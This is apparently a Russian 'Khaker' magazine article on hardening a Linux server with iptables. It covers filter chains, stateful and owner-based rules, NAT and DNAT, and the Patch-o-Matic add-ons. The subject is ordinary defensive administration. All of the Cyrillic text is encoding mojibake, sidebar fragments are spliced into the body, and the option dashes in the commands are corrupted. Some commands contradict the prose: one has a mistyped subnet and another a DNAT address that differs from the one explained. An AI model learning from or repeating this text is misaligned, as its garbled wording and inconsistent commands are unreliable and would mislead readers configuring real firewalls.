õîäèòüñÿ òàê íàçûâàåìûå öåïî÷êè.
Äåôîëòîâàÿ òàáëèöà filter ñîäåðæèò
òðè öåïè � INPUT, OUTPUT è FOR-
WARD. Ïåðâàÿ îòâå÷àåò çà âõîäÿ-
ùèå ïàêåòû, âòîðàÿ � çà èñõîäÿùèå.
Ïîñëåäíÿÿ ñëóæèò äëÿ óïðàâëåíèÿ
îáìåíîì äàííûõ ìåæäó ñîñåäíèìè
óçëàìè. Íàèáîëåå ïîïóëÿðíûé ìå-
òîä íàñòðîéêè iptables çàêëþ÷àåòñÿ
â äîáàâëåíèè ðàçðåøàþùèõ ïðàâèë
â öåïü INPUT ñ ïîñëåäóþùèì èçìå-
íåíèåì åå ïîëèòèêè. Ó êàæäîé öå-
ïî÷êè åñòü ñâîÿ ïîëèòèêà: ACCEPT,
REJECT è DROP. Ïî óìîë÷àíèþ âñå
ïàêåòû ïðîõîäÿò áåç îãðàíè÷åíèé.
Íî ñòîèò ëèøü èçìåíèòü ïîëèòèêó
íà REJECT (çàïðåùåíèå ñîåäèíåíèÿ
ñ âçâåäåíèåì ôëàãà RST â îòâåòíîì
ïàêåòå) èëè DROP (ïðîñòîå èãíîðè-
ðîâàíèå ïàêåòà), êàê äàííûå áóäóò
íåùàäíî îòôèëüòðîâûâàòüñÿ. Åñòå-
ñòâåííî, ÷òî àäìèíèñòðàòîð çàðàíåå
ïðîïèøåò ïðàâèëà, ïî êîòîðûì íóæ-
íûå ïàêåòû áóäóò áåç ïðîáëåì ïðî-
õîäèòü íà ñåðâåð.

Äàâàé ïðîâåäåì ïîäîáíóþ íàñò-
ðîéêó ôàåðâîëà. Â ïåðâóþ î÷åðåäü,
ïîçàáîòèìñÿ, ÷òîáû ïàêåòû áåñïðå-
ïÿòñòâåííî ïðîõîäèëè ÷åðåç ïåòëå-
âîé èíòåðôåéñ (íàì íåçà÷åì çàïðå-

ùàòü ëîêàëüíûå ñîåäèíåíèÿ). Âû-
ïîëíèì íåñëîæíóþ êîìàíäó:

iptables �A INPUT �i lo �j ACCEPT.

Êàê âèäíî, êîìàíäà iptables ïîíèìà-
åò ðàçëè÷íûå ïàðàìåòðû. Ïåðâûé èç
íèõ ïåðåäàåò öåïü, â êîòîðóþ áóäóò
çàíåñåíû äàííûå. Âòîðîé óêàçûâàåò
íà èíòåðôåéñ. Ïîñëåäíèé îïðåäåëÿåò
ïîëèòèêó ïðàâèëà. Äîñëîâíî êîìàíäà
îçíà÷àåò ñëåäóþùåå: «àíåñòè â öåïü
INPUT ïðàâèëî, ðàçðåøàþùåå ïðèåì
ïàêåòîâ ñ èíòåðôåéñà lo. Ïðîñòî?
Åùå áû :).

Äàëüøå ÷óòü ñëîæíåå. Ëþáîé ïà-
êåò ìîæåò èìåòü 4 ðàçëè÷íûõ ñîñòî-
ÿíèÿ. NEW ïðåäñòàâëÿåò ñîáîé îáû÷-
íûé ïàêåò, èíèöèèðóþùèé íîâîå ñî-
åäèíåíèå. ESTABLISHED � ïàêåò îò
óæå óñòàíîâëåííîãî ñîåäèíåíèÿ.
RELATED � íîâûé ïàêåò äàííûõ, êî-
òîðûé áûë ñîçäàí ñòàðûì ñîåäèíåíè-
åì. È, íàêîíåö, INVALID � íåèçâåñò-
íûé ïàêåò. Òåáå íåîáõîäèìî ðàçðå-
øèòü òîëüêî äâà âèäà � RELATED è
ESTABLISHED, ïîòîìó êàê îíè ÿâëÿ-
þòñÿ äîâåðåííûìè. Áåç äîïîëíè-
òåëüíûõ ñðåäñòâ iptables íå óìååò
ðàçëè÷àòü ñîñòîÿíèÿ. Â ýòîì åìó ïî-
ìîãàåò ñïåöèàëüíûé ìîäóëü state.

iptables �A INPUT �p tcp �m state �-state
RELATED,ESTABLISHED �j ACCEPT.

Ïðàâèëî óñëîæíèëîñü òðåìÿ íîâû-
ìè îïöèÿìè. Ïàðàìåòð �p ïîêàçûâàåò,
÷òî ðóëåñ ïðèìåíÿåòñÿ ê TCP-ïðîòîêî-
ëó (áåç ýòîãî ôëàæêà íåëüçÿ çàþçàòü
ìîäóëü state). Îïöèÿ �m ïîçâîëÿåò
ïîäêëþ÷àòü äîïîëíèòåëüíûå ìîäóëè.
Òðåòèé ïàðàìåòð state îòíîñèòñÿ ê îä-
íîèìåííîìó ìîäóëþ. Îí ïîêàçûâàåò,
÷òî ïðàâèëî îáðàáàòûâàåò ïàêåòû îï-
ðåäåëåííîãî âèäà.

Ñëåäóþùèé øàã íàïðàâëåí íà
íàñòðîéêó ñîåäèíåíèÿ ñ ñåðâèñàìè.
Äîïóñòèì, íà ñåðâåðå óñòàíîâëåí
proftpd, postfix è popa3d. Íà ñàìîì
äåëå, ñåðâèñîâ ìîæåò áûòü è áîëü-
øå, ñóòü â òîì, ÷òîáû íå çàáûòü î
êàæäîì èç íèõ. Èòàê, ïðåäïîëîæèì,
÷òî postfix äîëæåí ïðèíèìàòü äàí-
íûå îò óçëà 192.168.1.1. Ê proftpd
èìåþò ïðàâî ïîäêëþ÷àòüñÿ òîëüêî
êëèåíòû ñåãìåíòà 192.168.0.0/24, à
ñíèìàòü ïî÷òó ìîãóò âñå. Äàâàé
îôîðìèì òàêóþ ïîëèòèêó â âèäå
òðåõ íåñëîæíûõ ïðàâèë. Äëÿ óäîá-
ñòâà ðåêîìåíäóþ ñîçäàòü äîïîëíè-
òåëüíóþ öåïü services è ïîäêëþ÷èòü
åå ê îñíîâíîé INPUT.

iptables �N services
iptables �A INPUT �j services
iptables �A services �p tcp �-dport 25 �s

192.168.1.1 �j ACCEPT
iptables �A services �p tcp �-dport 21 �s

192.168.0.0/24 �j ACCEPT
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Ïîáðîäè ïî
êàòàëîãàì
POM è îçíà-
êîìüñÿ ñ
äîêóìåíòà-
öèåé ïî
êàæäîìó
ìîäóëþ.
Ïðàâäà, ñâå-
äåíèé òàì
íå î÷åíü
ìíîãî.

Ñîõðàíèòü
èëè âîññòà-
íîâèòü ïðà-
âèëà ïîìî-
ãóò áèíàð-
íèêè
/sbin/ipta-
bles-save è
/sbin/ipta-
bles-restore.

Çàïèðàåì âñå çàñîâû
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iptables �A services �p tcp �-dport 110 �j
ACCEPT

Ôëàã �s îòâå÷àåò çà IP-àäðåñ îòïðà-
âèòåëÿ. Îí ìîæåò ïðèíèìàòü çíà÷å-
íèå êàê îòäåëüíîé ñòàíöèè, òàê è öå-
ëîãî ñåãìåíòà. Òåïåðü, êîãäà öåïü
INPUT ïîëíîñòüþ íàñòðîåíà, ìîæíî
ìåíÿòü åå ïîëèòèêó è òåñòèðîâàòü
ñîçäàííûå ïðàâèëà. Ïîñëåäíèé øòðèõ
äîñòèãàåòñÿ ñëåäóþùåé êîìàíäîé:

iptables �P INPUT DROP

Ìîæíî ñêàçàòü, ÷òî òåïåðü òâîé
ñåðâåð çàùèùåí îò ïîñòîðîííèõ
ãëàç. Îäíàêî ñóùåñòâóåò ìíîãî ñïî-
ñîáîâ îáõîäà ôàåðâîëîâ, îäèí èç
êîòîðûõ çàêëþ÷àåòñÿ â íàïèñàíèè
connback-ñöåíàðèÿ. Ïîñëåäíèé ñàì
ñîåäèíÿåòñÿ ñ õàêåðñêîé ìàøèíîé.
×òîáû ïðåñå÷ü ïîäîáíûå äåéñòâèÿ,
íåîáõîäèìî ôèëüòðîâàòü èñõîäÿ-
ùèé òðàôèê. Ìåíÿòü ïîëèòèêó öåïè
íå ñòîèò, íóæíî ïðîñòî äîáàâèòü íåñ-
êîëüêî îãðàíè÷èâàþùèõ ïðàâèë ñ
ó÷àñòèåì ìîäóëÿ owner.

ÔÀÅÐÂÎË ÏÎÊÀÆÅÒ,
ÊÒÎ ÕÎÇßÈÍ!

Áèáëèîòåêà owner.so ÿâëÿåòñÿ
âåñüìà ïîëåçíîé. Îíà ñîçäàíà äëÿ
òîãî, ÷òîáû çàïðåòèòü ëîêàëüíîìó
ïîëüçîâàòåëþ îáðàùàòüñÿ ê ðåñóð-
ñàì ñåòè. ×àñòî õàêåðû ñîâåðøàþò
ñâîè çëîäåÿíèÿ ñ âåáà, è ñòàíäàðò-
íàÿ íàñòðîéêà áðàíäìàóýðà íå ñïà-
ñàåò. Â ñëó÷àå åñëè òû ïîäâÿæåøü
ìîäóëü owner, ìîæíî ñäåëàòü òàê,
÷òîáû ïðîöåññ httpd íå ìîã îòêðû-
âàòü ïîðòû, à òåì áîëåå êîííåêòèòü-
ñÿ íà ÷óæèå ìàøèíû. Ýòî äîñòèãàåò-
ñÿ âñåãî äâóìÿ êîìàíäàìè:

iptables �A OUTPUT -m owner --uid-owner
99 -p tcp --dport 80 -j ACCEPT

iptables -A OUTPUT -m owner --uid-owner
99 �j DROP

Ìîäóëü ïîçâîëÿåò àíàëèçèðîâàòü
UID ëîêàëüíîãî ïîëüçîâàòåëÿ. Åñëè
îí ðàâåí 99 (÷òî ñîîòâåòñòâóåò ëîãè-
íó nobody), ïðàâèëî çàïðåòèò îáðàùå-

íèå ê íåèçâåñòíûì ïîðòàì. Âòîðîå
ïðàâèëî çàïðåùàåò ëþáûå äåéñòâèÿ
ïîä nobody. Îíî äîëæíî ðàñïîëàãàòü-
ñÿ íèæå ïåðâîãî, ïîòîìó ÷òî iptables
àíàëèçèðóåò ðóëåñû ïî ïðèíöèïó îò
÷àñòíîãî ê îáùåìó.

Ñóùåñòâóåò åùå îäíà ïðîáëåìà, ñ
êîòîðîé òû ìîæåøü ñòîëêíóòüñÿ. Â
ñëó÷àå åñëè íà òâîåì ñåðâåðå ïðîïè-
ñàíû äðóãèå ïîëüçîâàòåëè è òû íå
õî÷åøü, ÷òîáû îíè ïðîêà÷èâàëè ÷å-
ðåç ìàøèíó ôèëüìû è ìóçûêó, ïðè-
äåòñÿ äîáàâèòü íåñêîëüêî ïðàâèë,
êîòîðûå àíàëîãè÷íû ïðåäûäóùåìó.
Ïðèøëî âðåìÿ óðåçàòü ñåòåâûå ïðà-
âà ïîëüçîâàòåëÿ ïî ñàìûå óøè :). Íå-
îáõîäèìî ïîìíèòü, ÷òî þçåðó íàäî
ðàçðåøèòü ïðîïóñê RELATED- è
ESTABLISHED-ïàêåòîâ, â ïðîòèâíîì
ñëó÷àå îí íå ñìîæåò çàëèâàòü ôàé-
ëû íà ëîêàëüíûé FTP.

iptables �A OUTPUT �p tcp �m state �-state
! RELATED,ESTABLISHED �m owner �-uid-
owner 31337 �j DROP.

Ýòîò ðóëåñ ïîçâîëèò ôèëüòðîâàòü
âñå ïàêåòû, ïîñëàííûå þçåðîì 31337.
Ïîìèìî uid òû ìîæåøü îãðàíè÷èâàòü
è gid, à òàêæå ìóòèòü äîñòóï ê ïðîèç-
âîëüíîé ñåòåâîé êîìàíäå. Åñëè òû çà-
èíòåðåñîâàëñÿ ýòèì ìîäóëåì, ìîæåøü
îçíàêîìèòüñÿ ñî âñåìè åãî ïàðàìåò-
ðàìè, íàáðàâ êîìàíäó iptables -�help
�m owner.

ÌÎÄÈÔÈÊÀÖÈß ÏÀÊÅÒÎÂ
Íàñòàëî âðåìÿ ïîãîâîðèòü î âòî-

ðîé òàáëèöå iptables, êîòîðàÿ íàçûâà-
åòñÿ nat. Ýòà ÷óäåñíàÿ òàáëèöà ñîäåð-
æèò òðè öåïî÷êè: PREROUTING, OUT-
PUT è POSTROUTING. Ïðàâèëà, ðàñïî-
ëîæåííûå â ýòèõ öåïÿõ, íóæíû äëÿ
êîððåêòèðîâêè ïàêåòà. Íàïðèìåð, òû
õî÷åøü, ÷òîáû ìàøèíà ñ IP-àäðåñîì
192.168.0.2 âûõîäèëà â èíòåðíåò íàï-
ðÿìóþ. Äëÿ ýòîãî äîñòàòî÷íî âîñ-
ïîëüçîâàòüñÿ ìàñêàðàäèíãîì, äîáà-
âèâ âñåãî îäíî ïðàâèëî â òàáëèöó
POSTROUTING.

iptables �t nat �A POSTROUTING �s
192.68.0.2 �j MASQUERADE

Ñóòü ìàñêàðàäèíãà çàêëþ÷àåòñÿ â
çàìåíå ëîêàëüíîãî IP íà àäðåñ øëþ-
çà. Ïîëó÷àåòñÿ, ÷òî êîíå÷íûé óçåë
ôàêòè÷åñêè ñîåäèíèòñÿ íå ñ ëîêàëü-
íîé ìàøèíîé, à ñ ìàðøðóòèçàòîðîì.
Ïîñëåäíèé áóäåò ôîðâàðäèòü âñå
ïðèøåäøèå ïàêåòû óçëó ñ àäðåñîì
192.168.0.2.

Âîîáùå, èñïîëüçîâàòü NAT â êðóï-
íîé ñåòè íå ðåêîìåíäóåòñÿ. Åñëè êà-
êîé-íèáóäü þçåð ñòÿíåò ïàðó ãèãîâ ñ
ïîðíîñàéòà, àäìèíèñòðàòîð íå îïðå-
äåëèò âèíîâíèêà. Ïîýòîìó âìåñòî
NAT èñïîëüçóåòñÿ ïðîêñè-ñåðâåð.
Ïðè ïåðåõîäå íà ïðîêñè âîçíèêàåò
îäíà ïðîáëåìà: àäìèíà ëîìàåò áå-
ãàòü ïî âñåì ìàøèíàì è ïðîïèñû-
âàòü àäðåñ ïðîêñèêà â íàñòðîéêè
áðàóçåðà. Ê ñ÷àñòüþ, íå âñå òàê ïëî-
õî: ìîæíî ïðîñòî îôîðìèòü ðåäè-
ðåêò ïîðòîâ, à çàòåì íåìíîãî íàñòðî-
èòü êîíôèã squid. Â ýòîì ñëó÷àå êëè-
åíò ñîåäèíèòñÿ ñ ïðîêñè-ñåðâåðîì,
ñàì òîãî íå æåëàÿ :). Äëÿ âûïîëíå-
íèÿ ðåäèðåêòà âïèñûâàé ëåãêîå ïðà-
âèëî â öåïü PREROUTING.

iptables �t nat �A PREROUTING �s
192.168.0.0/24 �p tcp �-dport 80 �j REDIRECT
�to-port 3138

Ðàññìîòðèì ñèòóàöèþ ñëîæíåå. Â
òâîåé ëîêàëêå åñòü ñåðâåð, íå èìåþ-
ùèé âíåøíåãî àäðåñà. À óïðàâëÿòü
èì õî÷åòñÿ èç äîìà. Ñ ïîìîùüþ ipta-
bles òû ëåãêî ìîæåøü íàìóòèòü ìî-
äèôèêàöèþ íå òîëüêî ïîðòîâ, íî è
IP-àäðåñîâ. Â ðåçóëüòàòå íåáîëüøîé
ïîäìåíû øëþç ñîåäèíèò òâîé äî-
ìàøíèé êîìï ñ ëîêàëüíûì ñåðâå-
ðîì. Âîò ïðàâèëî, êîòîðîå ïðîïèñà-
íî íà ìîåì ôàåðâîëå. Îíî ñâÿçûâà-
åò ìîé êîìïüþòåð è òåðìèíàëüíûé
ñåðâåð â ëîêàëüíîé ñåòè.

iptables �t nat �A PREROUTING �s
194.225.226.3 �p tcp �-dport 3389 �j DNAT �-
to-destination 10.50.40.255:3389

Òàêèì îáðàçîì, åñëè ïàêåò íàïðàâ-
ëåí íà ïîðò 3389, øëþç çàìåíèò â
íåì àäðåñ íàçíà÷åíèÿ íà 10.50.40.225
è ïåðåíàïðàâèò äàííûå íà ëîêàëüíûé
ñåðâåð. Ñ ïîìîùüþ ýòîãî ìåõàíèçìà ÿ
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×òîáû óç-
íàòü êàêèå
ïàðàìåòðû
ïîíèìàåò
òîò èëè
èíîé ìî-
äóëü, âû-
ïîëíè êî-
ìàíäó ipta-
bles --help
�m èìÿ_ìî-
äóëÿ.

Ïîìèìî
ãëàâíûõ
ïàò÷åé,
POM ñîäåð-
æèò ôèêñû
äëÿ ñîäðó-
æåñòâà ipta-
bles ñ
eggdrop,
warcraft è
quake3 :).

NAT äîìó òâîåìó!

Âîò íåñêîëüêî êîìàíä, êîòîðûå òû ìîæåøü èñïîëüçîâàòü ïðè
ðàáîòå ñ iptables.

iptables �N öåïü � ñîçäàíèå íîâîé öåïî÷êè
iptables �F öåïü � î÷èñòêà ïðîèçâîëüíîé öåïè
iptables �X öåïü � óäàëåíèå öåïè
iptables �D öåïü íîìåð_ïðàâèëà � óäàëèòü ïðàâèëî èç îïðåäåëåííîé öåïè
iptables �P öåïü ïîëèòèêà � èçìåíåíèå ïîëèòèêè öåïè
iptables �-line-numbers �nvL öåïü � ïðîñìîòð âñåõ ïðàâèë â îïðåäåëåííîé öåïè â
verbose-ðåæèìå, áåç ïðåîáðàçîâàíèÿ àäðåñîâ ñ íóìåðàöèåé êàæäîãî ïðàâèëà
(áûñòðûé è ïîäðîáíûé ïðîñìîòð)
service iptables save/restore � ñîõðàíåíèå (âîññòàíîâëåíèå) âñåõ ïðàâèë â
îòäåëüíûé êîíôèã
service iptables start/stop � çàïóñê (îñòàíîâ) ôàåðâîëà

ËÈÊÁÅÇ ÏÎ IPTABLES

Óðåæåì ïðàâà þçåðîâ



áåç ïðîáëåì ìîãó ðóëèòü òåðìèíàë-
êîé èç äîìà. ×åãî è òåáå æåëàþ :).

ÕÎ×ÅØÜ ÁÎËÜØÅÃÎ?
ÑÒÀÂÜ ÏÀÒ×È!

Íåñìîòðÿ íà ñòîëü øèðîêèå âîç-
ìîæíîñòè iptables íå ïðåâîñõîäèò
OpenBSD�øíûé pf ïî ôóíêöèîíàëü-
íîñòè. Åãî êîíêóðåíò óìååò ðàçëè÷àòü
îïåðàöèîííûå ñèñòåìû ïî õèòðîìó
fingerprinting�ó, çàùèùàòü ñåðâåð îò
ñêàíà ïîðòîâ è ò.ä. Ïðèøëî âðåìÿ íà-
íåñòè îòâåòíûé óäàð. Èòàê, âñòðå÷àåì
íîâûé ïàò÷ äëÿ iptables ïîä íàçâàíè-
åì Patch-o-Matic. Íàáîð POM ñîçäàí
äëÿ àäìèíîâ, êîòîðûì ìàëî ñòàíäàðò-
íûõ âîçìîæíîñòåé ôàåðâîëà. Îí
âêëþ÷àåò â ñåáÿ íàáîð ìîäóëåé, ïîç-
âîëÿþùèõ òâîðèòü íåâåðîÿòíûå âå-
ùè. Ïðàâäà, ÷òîáû ïðîïàò÷èòü áðàíä-
ìàóýð, ïðèäåòñÿ ïðîéòè ÷åðåç ñåìü
êðóãîâ àäà. Ñïåðâà óáåäèñü, ÷òî òâîå
ÿäðî ñîáðàíî èç èñõîäíèêîâ. Ñîðöû
ÿäðà ïîíàäîáÿòñÿ èíñòàëëÿòîðó POM,
âåäü âñå òàáëèöû è öåïî÷êè ñîçäàþò-
ñÿ èìåííî â êåðíåëå. Åñëè òâîÿ ñèñòå-
ìà ïîñòðîåíà íà RPM-ïàêåòàõ, òåáå
ïðèäåòñÿ ïåðåêîìïèëèòü ÿäðûøêî,
ïðåäâàðèòåëüíî ñòÿíóâ åãî ñ ftp.ker-
nel.org (ëèáî ñ äèñêà). Íå çàáóäü
âêëþ÷èòü â ÿäðî ïîääåðæêó ipfiltering
è ïðî÷èõ ñåòåâûõ âåùåé. Ïîñëå òîãî
êàê îòìó÷àåøüñÿ ñ êåðíåëîì, ñêà÷è-
âàé ñâåæèé iptables
(http://netfilter.org/files/iptables-1.2.11.tar.bz2), à
òàêæå ïðèëàãàþùèéñÿ ê íåìó ïàò÷
(http://netfilter.org/files/patch-o-matic-ng-
20040621.tar.bz2). Òåïåðü ðàñïàêîâûâàé
ôàåðâîë è êîìïèëèðóé åãî. Êîãäà òû
ñäåëàåøü âñå ýòè øàãè, íàñòóïèò âðå-
ìÿ äëÿ óñòàíîâêè ïàò÷à.

Âíóòðè àðõèâà ñ POM ñîäåðæèòñÿ
ïåðëîâûé èíñòàëëÿòîð. Äëÿ åãî êîð-
ðåêòíîé ðàáîòû òåáå ïîíàäîáèòñÿ
áèáëèîòåêà termcap, ïîýòîìó óáåäèñü
â íàëè÷èè ôàéëà /etc/termcap. Çàïóñ-
òè èíñòàëëÿòîð ñ ïàðàìåòðîì base. Â
èíòåðàêòèâíîì ðåæèìå âûáåðè íóæ-
íûé ïàò÷ èç ýòîé êàòåãîðèè (ïðîâå-
ðåííûå áàçîâûå îáíîâëåíèÿ). Ê êàæ-
äîìó ôèêñó ïðèâîäèòñÿ ðàçâåðíóòîå
îïèñàíèå ñ êîíêðåòíûì ïðàâèëîì.
Ïîñëå áàçîâîé óñòàíîâêè ìîæíî çà-
èíñòàëëèòü äîïîëíèòåëüíûå ïàò÷è,
çàïóñòèâ èíñòàëëåð ñ îïöèåé extra.
Ïðîöåññ óñòàíîâêè î÷åíü ïðîñò, òû ñ
íèì ðàçáåðåøüñÿ áåç äîïîëíèòåëü-
íîé ïîìîùè. Ñëîæíîñòè âîçíèêíóò
ïîñëå èíñòàëëÿöèè.

Èòàê, âñå ôèêñû óñòàíîâëåíû, è òû
æàæäåøü ïðèìåíèòü èõ íà ïðàêòèêå.
Ïåðåä òåì êàê ýòî ñäåëàòü, òåáå ïðè-
äåòñÿ âûïîëíèòü äâà ôèíàëüíûõ øà-

ãà. Âî-ïåðâûõ, çàéäè â êàòàëîã ñ èñ-
õîäíèêàìè ÿäðà è çàïóñòè make menu-
config. Çàòåì ïåðåõîäè â ðàçäåë ipfil-
tering è âûáèðàé âñå ïàò÷è, êîòîðûå
áûëè óñòàíîâëåíû ñêðèïòîì runme.
Ñîõðàíè âñå èçìåíåíèÿ è îòêðîé .con-
fig äëÿ ðåäàêòèðîâàíèÿ. Åñëè òû óñòà-
íîâèë îáíîâëåíèÿ TARPIT è OSF, óáå-
äèñü â íàëè÷èè äâóõ óñòàíîâî÷íûõ
äèðåêòèâ è â ñëó÷àå èõ îòñóòñòâèÿ
âíåñè èõ ñàìîñòîÿòåëüíî. 

CONFIG_IP_NF_TARGET_TARPIT=m
CONFIG_IP_NF_MATCH_OSF=m,

Âî-âòîðûõ, çàíîâî ïåðåêîìïèëè-
ðóé iptables è íàáåðè make install,
÷òîáû âñå ìîäóëè áûëè ñêîïèðîâà-
íû â êàòàëîã /lib/iptables. Åñëè âñå
ïðîèçîøëî áåç îñëîæíåíèé, ìîæ-
íî ñêàçàòü, ÷òî POM óñïåøíî óñòà-
íîâëåí.
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Ïîìèìî
DNAT ñó-
ùåñòâóåò è
SNAT, êîãäà
çàìåíÿåòñÿ
àäðåñ îòï-
ðàâèòåëÿ.
Ýòî áûâàåò
íåîáõîäè-
ìûì â íåêî-
òîðûõ ñëó-
÷àÿõ.

ß íå ïðîâå-
ðÿë ðàáîòó
POM ñ ÿä-
ðîì 2.6.õ.
Ðàçðàáîò÷è-
êè î ñîâ-
ìåñòèìîñòè
òàêæå
óìàë÷èâà-
þò. Ïîýòî-
ìó ÿ íå ãà-
ðàíòèðóþ
ñòàáèëü-
íîñòü ðàáî-
òû ñ ïîäîá-
íûìè êåð-
íåëàìè.

ÂÛÆÌÈ ÂÑÅ ÈÇ ÔÀÅÐÂÎËÀ!76 ÇÀÙÈÒÀ

Àíäðåé "Andrushock" Ìàòâååâ, ðåäàêòîð ðóáðèêè "UNIXoid"
æóðíàëà "Õàêåð":

«×èñëî ïîëüçîâàòåëåé èíòåðíåòà ñ êàæäûì äíåì íåóêëîííî ðàñòåò,
à ïðîãðåññ è èíôîðìàöèîííûå òåõíîëîãèè íå æåëàþò ñòîÿòü íà
ìåñòå. Â ñâÿçè ñ ýòèì ïðîâàéäåðàì ïðèõîäèòñÿ âûäåëÿòü ôèçè÷åñ-
êèì ëèöàì è îðãàíèçàöèÿì IP-àäðåñà äëÿ ìàðøðóòèçàòîðîâ è ñåðâå-
ðîâ, ðàáî÷èõ ñòàíöèé è WAP-òåðìèíàëîâ, áåñïðîâîäíûõ óñòðîéñòâ
è äàæå áûòîâîé òåõíèêè. Òàê êàê ÷èñëî äîñòóïíûõ àäðåñîâ â ðåàëè-
çàöèè IPv4 ñîñòàâëÿåò ïðèìåðíî 2 â 32-é ñòåïåíè, òî ìû íåâîëüíî
ñòàíîâèìñÿ ñâèäåòåëÿìè êðèçèñà IP-àäðåñîâ. Ïî íåçàâèñèìûì ñòà-
òèñòè÷åñêèì èññëåäîâàíèÿì ïîñëåäíèé ñâîáîäíûé àäðåñ áóäåò çà-
íÿò óæå â 2008 ãîäó. Äëÿ ðåøåíèÿ ïðîáëåìû áûëè ïðåäëîæåíû, à
çàòåì âíåäðåíû òðè "ëåêàðñòâà": ïðîòîêîë CIDR (áåñêëàññîâàÿ äî-
ìåííàÿ ìàðøðóòèçàöèÿ), êà÷åñòâåííî íîâûé ïðîòîêîë IPv6 (àäðåñ-
íîå ïðîñòðàíñòâî ñîñòàâëÿåò 2 â 128-é ñòåïåíè) è ñèñòåìà NAT
(òðàíñëÿöèÿ ñåòåâûõ àäðåñîâ). Êàê ðàç çà ñ÷åò ñèñòåìû NAT ïîãðà-
íè÷íûé øëþç ìîæåò âûïîëíÿòü ñëåäóþùèå ïðîöåäóðû: ïåðåõâàò
âñåõ êëèåíòñêèõ çàïðîñîâ èç äîâåðåííîé ïîäñåòè, ïîäìåíà èñõîä-
íîãî ïîðòà è àäðåñà èñòî÷íèêà ñâîèì íåïðèâèëåãèðîâàííûì ïîðòîì
è àäðåñîì ñâîåãî âíåøíåãî ñåòåâîãî èíòåðôåéñà, âåäåíèå ñïåöè-
àëüíîé òàáëèöû ñîîòâåòñòâèÿ óñòàíîâëåííûõ ñîåäèíåíèé, ÷òîáû,
ïîëó÷èâ îò óäàëåííîãî õîñòà îòâåòíûé ïàêåò, êîððåêòíî ïåðåíàï-
ðàâèòü åãî êëèåíòó, èíèöèèðîâàâøåìó çàïðîñ. Áëàãîäàðÿ òàêîìó
ïîäõîäó äîñòàòî÷íî èìåòü âñåãî îäèí ðåàëüíûé IP-àäðåñ, âñåì êëè-
åíòñêèì ìàøèíàì íàçíà÷àþòñÿ ñïåöèàëüíî çàðåçåðâèðîâàííûå IP-
àäðåñà, íåìàðøðóòèçèðóåìûå âî âíåøíèõ ñåòÿõ (RFC 1918). Ïîñ-
êîëüêó âñå èñõîäÿùèå ñîåäèíåíèÿ óñòàíàâëèâàþòñÿ îò èìåíè
øëþçà, ïîëíîñòüþ ñêðûâàåòñÿ òîïîëîãèÿ âíóòðåííåé ñåòè - ýòî îã-
ðîìíûé ïëþñ ñ òî÷êè çðåíèÿ áåçîïàñíîñòè. Îäíàêî èç-çà òðàíñëÿ-
öèè àäðåñîâ ìîãóò âîçíèêíóòü ïðîáëåìû ïðè ðàáîòå ñ FTP, IRC è íå-
êîòîðûìè äðóãèìè ñëîæíûìè ïðîòîêîëàìè (ðåøàåòñÿ óñòàíîâêîé
ñïåöèàëüíûõ ïðîêñè). Íóæíî ÷åòêî ïîíèìàòü, ÷òî áðàíäìàóýð ñ
ôèëüòðàöèåé ïàêåòîâ, òàêîé, êàê iptables, ipfw, ipfilter, pf, - ýòî íå
ïàíàöåÿ îò âñåõ íàïàñòåé ãëîáàëüíîé ñåòè. Ýòî âñåãî ëèøü, êàê ÿñ-
íî èç íàçâàíèÿ, ôèëüòð ïàêåòîâ. Äà, îí ìîæåò ïîìåøàòü âûÿñíå-
íèþ äîñòóïíîñòè õîñòà (ping sweep), ïðåñå÷ü ïîïûòêè ñêàíèðîâà-
íèÿ ïîðòîâ, îòñåÿòü ïàêåòû ñ íåäîïóñòèìûìè êîìáèíàöèÿìè ôëà-
ãîâ (SYN+FIN, FIN+URG+PUSH), ïðåäîòâðàòèòü DoS-àòàêó, ðàçãðà-
íè÷èòü äîñòóï ê ñëóæáàì íà îñíîâå IP-àäðåñà èñòî÷íèêà, ïåðåíàï-
ðàâèòü âàëèäíûé òðàôèê, çàùèòèòü äåìèëèòàðèçîâàííóþ çîíó è
ñêðûòü äîâåðåííóþ ïîäñåòü. Îäíàêî òàêîé áðàíäìàóýð áåññèëåí
ïðîòèâ ÷åðâåé, òðîÿíîâ, áýêäîðîâ, ýêñïëîèòîâ, ñíèôèíãà è, êîíå÷-
íî æå, ïðîòèâ braindamaged ïîëüçîâàòåëåé, òàê êàê îí ðàáîòàåò, ê
ñîæàëåíèþ, òîëüêî íà ñåòåâîì è òðàíñïîðòíîì óðîâíÿõ. Ïîýòîìó
ìíîãî÷àñîâàÿ îïòèìèçàöèÿ ïðàâèë íåïðîíèöàåìîãî áðàíäìàóýðà -
ýòî çðÿ ïîòåðÿííîå âðåìÿ, åñëè â ñèñòåìå êðóòèòñÿ íåïðîïàò÷åí-
íûé Sendmail èëè èíñåêüþðíûé Wu-ftpd. Ê çàùèòå êàê ñåðâåðà, òàê
è êëèåíòñêîãî õîñòà íåîáõîäèì êîìïëåêñíûé ïîäõîä.

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

Íå ïðîïóñòè êðàòêîå îïèñàíèå ìîäóëåé íà WWW



ÏÐÀÊÒÈÊÓÅÌÑß?
Íàñòàëî âðåìÿ äëÿ ëåãêîé

ïðàêòèêè ïîñëå òÿæåëîé óñòà-
íîâêè. Ðàññìîòðèì ìîäóëè èç
êîëëåêöèè POM, êîòîðûå
äåéñòâèòåëüíî îáëåã÷àò òâîþ
æèçíü. Ïåðâàÿ áèáëèîòåêà,
êîòîðàÿ ìíå î÷åíü ïîíðàâè-
ëàñü, íàçûâàåòñÿ time.so. Îíà
ïîìîæåò àêòèâèðîâàòü ïðàâè-
ëî â îïðåäåëåííîå âðåìÿ. Ýòî
î÷åíü óäîáíî, ñ ïîìîùüþ íåå
òû ìîæåøü ëèáî îòêðûâàòü
íî÷íîé èíòåðíåò, ëèáî îãðàíè-
÷èâàòü äîñòóï ê íåêîòîðûì
ïîïóëÿðíûì ðåñóðñàì â ÷àñ
ïèê. Òåáå äîñòàòî÷íî äîáà-
âèòü îäíî-åäèíñòâåííîå ïðà-
âèëî â öåïü INPUT.

iptables -A INPUT -p tcp --dport 80
-m time --timestart 13:00 --timestop
15:00 --days Mon,Tue,Wed,Thu,Fri -j
REJECT

Äàííûé ðóëåñ çàïðåùàåò îá-
ðàùàòüñÿ ê âåáó â äíåâíîå
âðåìÿ. Êàê ÿ óæå ñêàçàë, òû
ìîæåøü þçàòü time.so â êà÷å-
ñòâå îãðàíè÷èòåëÿ èíòåðíåòà.
Äëÿ ýòîãî äîáàâü ïðàâèëî â
öåïü POSTROUTING òàáëèöû
